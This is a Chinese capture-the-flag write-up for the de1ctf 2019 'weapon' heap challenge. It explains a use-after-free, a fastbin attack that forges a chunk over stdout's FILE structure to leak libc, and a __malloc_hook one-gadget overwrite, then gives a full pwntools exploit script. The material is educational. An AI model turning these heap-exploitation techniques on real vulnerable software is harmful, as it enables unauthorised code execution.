BUU_de1ctf_2019_weapon_无show_IO利用

小结:

  1. stdout结构上方可以伪造0x70的chunk

  2. 控制IO泄露libc、控制stdout的IO_FILE结构,修改其_flags为0xfbad1800,将后面三个read指针置空,将_IO_write_base处的第一个字节改为0x58,后面的_IO_write_ptr和_IO_write_end保持不变。之后当程序遇到puts函数时就会打印_IO_write_base到_IO_write_ptr之间的内容,按照上面步骤改动的话,我们泄露出的第一个libc地址是_IO_file_jumps。
    师傅 __lifanxin 对IO_FILE写的很详细 非常感谢

  3. _flags修改为0xfbad1800是为了绕过从puts到最后_IO_SYSWRITE中间分支
    感谢 R4bbit师傅 对于这部分写的很详细

但是在做这道题时发现,_flags修改为0xfbad1887也打通了,所以对于IO_FILE还是有点不太通透

ELF分析

64位 2.23-0ubuntu11_amd64 保护全开
在这里插入图片描述

题目分析

菜单没有show功能
在这里插入图片描述
create限制的chunk大小最大0x60,序号可以自己定
在这里插入图片描述
delete存在uaf
在这里插入图片描述
rename没有明显漏洞,不存在溢出
因为程序不存在show功能,所以我们需要利用到IO_FILE,这里基本思路就是利用unsortedbin的性质,可以获得mainarena+88,因为该地址距离stdout的IO_FILE结构上方的fake_chunk很近
注意:alsr开启后三位也是固定的,所以我们只需要爆破一位就可以
所以我们需要先将一块chunk放入unsortedbin中,然后对该chunk的fd修改,然后修改IO_FILE内容达到泄露libc目的,可以参考前面两位师傅的文章,这里就不赘述IO_FILE结构了

思路实现

利用uaf,修改进入fastbin之后chunk的fd指针,使fd指向chunk体中达到不同chunk指向同一块地址,然后就可以对size位进行修改
即 fastbin[0x60]—>2—>0,然后对rename 2,使得fastbin[0x70]—>2—>fake_chunk
而fake_chunk包括了chunk 1
注意:这里我们fake_chunk从0x50开始,size为0x61,我们将chunk1的size修改为0x91时,会包含掉chunk2的一部分,所以为了不出错需要申请一个size为0x21的chunk,也就是
在这里插入图片描述
当然,这里也可以把chunk内用0x61填充满
在这里插入图片描述
此时fastbin[0x70]和unsortedbin中都有chunk1,先将chunk1的size改回0x71,然后修改chunk1的fd指向stdout_fake_chunk,之后就可以拿到stdout_fake_chunk,然后修改IO_FIILE结构
在这里插入图片描述
这样在下次puts时,就回泄露_IO_file_jumps的地址了,然后就可以得到libc地址,修改malloc_hook为onegadget就可以get shell

完整EXP

from pwn import *
#import signal		
from LibcSearcher import *
context(log_level='debug',os='linux',arch='amd64')
pwnfile = './137_de1ctf_2019_weapon'
io=process(pwnfile)
elf = ELF(pwnfile)
libc = ELF("/home/kali/Desktop/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc.so.6")	

def debug():
	gdb.attach(io)
	pause()
def cmd(x):
	io.recvuntil("choice >> \n")
	io.sendline(str(x))
def add(size,idx,name):			#0x60
	cmd(1)
	io.recvuntil(" size of weapon: ")
	io.sendline(str(size))
	io.recvuntil("input index: ")
	io.sendline(str(idx))
	io.recvuntil("input your name:")
	io.send(name)
def edit(idx,name):
	cmd(3)
	io.recvuntil("input idx: ")
	io.sendline(str(idx))
	io.recvuntil("new content:")
	io.send(name)
def delete(idx):				#uaf
	cmd(2)
	io.recvuntil("input idx :")
	io.sendline(str(idx))
#2.23 全开  无show--》IO
def pwn():
	add(0x58,0,b'aaaa')
	add(0x60,1,b'bbbb')
	add(0x18,9,b'nnnn')
	add(0x58,2,b'cccc')
	delete(0)
	delete(1)
	delete(2)
# f(60)-->2-->0
	edit(2,b'\x50')
	edit(0,p64(0)*9+p64(0x61))
	
	add(0x58,3,b'cccc')
	add(0x58,4,p64(0)+p64(0x91))
	debug()
	delete(1) #size改变 此时f(70),u中都有1
	
	edit(4,p64(0)+p64(0x71)+p16(0x55dd))
	#debug()
	add(0x60,6,b'\x00') #拿走1
	
	pay = b'\x00'*0x33+p64(0xfbad1887)+p64(0)*3+b'\x00'
	add(0x60,7,pay)
""" 填充0x71
	add(0x60,0,p64(0x71)*10+p64(0)+p64(0x71))
	add(0x60,1,p64(0x71)*12)
	add(0x60,2,p64(0x51)*12)
	delete(0)
	delete(1)
	delete(0)
	add(0x60,3,b'\x50')
	add(0x60,3,b'\x50')
	add(0x60,3,b'\x50')
	
	add(0x60,4,b'llll')
	delete(1)
	
	edit(4,p64(0x71)*3+p64(0x91))
	delete(1)
	debug()
	edit(4,p64(0x71)*3+p64(0x71)+p16(0x55dd))
	
	add(0x60,3,b'\x00')
	
	add(0x60,5,b'\x00'*0x33+p64(0xfbad1887)+p64(0)*3+b'\x58')
"""
	libc_adr=u64(io.recvuntil("\x7f",timeout=0.1)[-6:].ljust(8,b'\x00'))
	#libc_adr = u64(io.recvn(8))
	print("libc_adr--->",hex(libc_adr))
	
	libc_base = libc_adr - 0x3c56a3
	print("libc_base--->",hex(libc_base))
	
	realloc_offset=0x846c0
	gadget=0x4526a
	
	og = [0x45226,0x4527a,0xf03a4,0xf1247]
	#onegadget = libc_base + og[3]
	onegadget = libc_base + gadget
	malloc_hook = libc_base + libc.symbols['__malloc_hook']
	#realloc_adr = libc_base + libc.symbols['realloc']
	realloc_adr = libc_base + realloc_offset
	print("malloc_hook--->",hex(libc.symbols['__malloc_hook'])) #改偏移没变
	#debug()
	delete(1)
	edit(4,p64(0x71)*4+p64(malloc_hook-0x23))
	add(0x60,3,b'yyyy')
	add(0x60,6,b'c'*0xb+p64(onegadget)+p64(realloc_adr+14))
	
	cmd(1)
	io.recvuntil(" size of weapon: ")
	io.sendline(str(16))
	io.recvuntil("input index: ")
	io.sendline(str(9))
	io.interactive()
	
if __name__ == '__main__':
    sh = None
    while True:
        try:
            io=process(pwnfile)
            #io=remote('node4.buuoj.cn',29334)
            pwn()
        except:
            try:
                sh.close()
            except:
                pass
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值